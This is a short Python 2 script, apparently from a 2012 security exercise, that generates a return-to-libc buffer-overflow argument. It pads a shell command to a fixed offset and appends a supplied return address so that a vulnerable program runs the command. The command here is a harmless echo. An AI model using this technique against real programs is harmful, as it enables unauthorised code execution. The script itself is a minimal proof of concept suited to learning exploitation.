#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# $File: mkarg-rtlibc.py
# $Date: Tue Jun 19 20:44:45 2012 +0800
# $Author: jiakai <jia.kai66@gmail.com>

OFFSET = 0x3c

CMD = "echo 'hello, world!';"

import sys, struct

if len(sys.argv) != 2:
    sys.exit("usage: {0} 0x<return address>".format(sys.argv[0]))

print CMD +  ' ' * (OFFSET - len(CMD)) + struct.pack("<I", int(sys.argv[1], 16)) + CMD

